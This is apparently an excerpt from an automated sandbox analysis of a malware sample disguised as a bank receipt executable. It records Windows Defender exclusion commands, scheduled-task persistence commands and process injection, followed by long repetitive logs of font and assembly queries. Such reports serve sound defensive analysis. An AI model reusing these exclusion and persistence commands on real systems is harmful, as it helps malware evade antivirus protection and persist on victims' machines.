Source: C:\Users\user\Desktop\e-dekont_html.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\e-dekont_html.exe"	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\fahKSvwo.exe"	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\e-dekont_html.exe	Memory written: C:\Users\user\Desktop\e-dekont_html.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Memory written: C:\Users\user\AppData\Roaming\fahKSvwo.exe base: 400000 value starts with: 4D5A			Jump to behavior

Source: C:\Users\user\Desktop\e-dekont_html.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\e-dekont_html.exe"	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\fahKSvwo.exe"	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp7653.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process created: C:\Users\user\Desktop\e-dekont_html.exe "C:\Users\user\Desktop\e-dekont_html.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp8A49.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process created: C:\Users\user\AppData\Roaming\fahKSvwo.exe "C:\Users\user\AppData\Roaming\fahKSvwo.exe"	Jump to behavior

Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Users\user\Desktop\e-dekont_html.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
